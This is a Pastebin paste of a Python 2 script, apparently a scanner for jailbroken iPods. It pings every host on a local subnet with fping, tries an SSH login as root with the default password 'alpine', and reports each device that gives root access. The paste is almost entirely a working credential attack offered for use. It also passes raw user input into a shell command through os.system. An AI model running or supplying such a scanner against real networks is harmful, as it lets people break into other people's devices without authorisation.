Advertisement
Guest User

Untitled

a guest
Jul 2nd, 2017
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.13 KB | None | 0 0
  1. #Jailbroken iPod default password scanner, make sure you install fping
  2.  
  3.  
  4. import paramiko
  5. import os
  6.  
  7. ssh = paramiko.SSHClient()
  8. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  9.  
  10.  
  11. output_file = raw_input("Name the output file: ")
  12. netmask = raw_input("Netmask: ")
  13.  
  14.  
  15. #find hosts on LAN
  16. print '[Attempting to scan...]'
  17. os.system('fping -a -g '+netmask+' -t 1000 > '+output_file)
  18. print '[Scan done...]'
  19.  
  20.  
  21.  
  22. file = open(output_file, 'r')
  23. ip_list = file.read().split("\n")
  24. file.close()
  25. ip_length = len(ip_list)-1
  26.  
  27. count = 0
  28.  
  29. print "[Testing " +str(ip_length)+ " hosts]"
  30.  
  31. #test all the hosts
  32. def scan():
  33.     global count
  34.    
  35.     if count == ip_length:
  36.     return
  37.     try:
  38.     ip_list[count] = ip_list[count].replace(" ","")
  39.     print "Trying ["+ip_list[count]+"]"
  40.     ssh.connect(ip_list[count], username="root", password="alpine")
  41.     stdin, stdout, stderr = ssh.exec_command("whoami")
  42.     if stdout.read().split("\n")[0] == "root":
  43.         raw_input("ROOT ACCESS, HOST="+ip_list[count])
  44.        
  45.     else:
  46.         ssh.close()
  47.     except:pass
  48.    
  49.     count = count + 1
  50.     scan()
  51.    
  52.    
  53. scan()
  54.    
  55.    
  56. raw_input("Scan finished")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement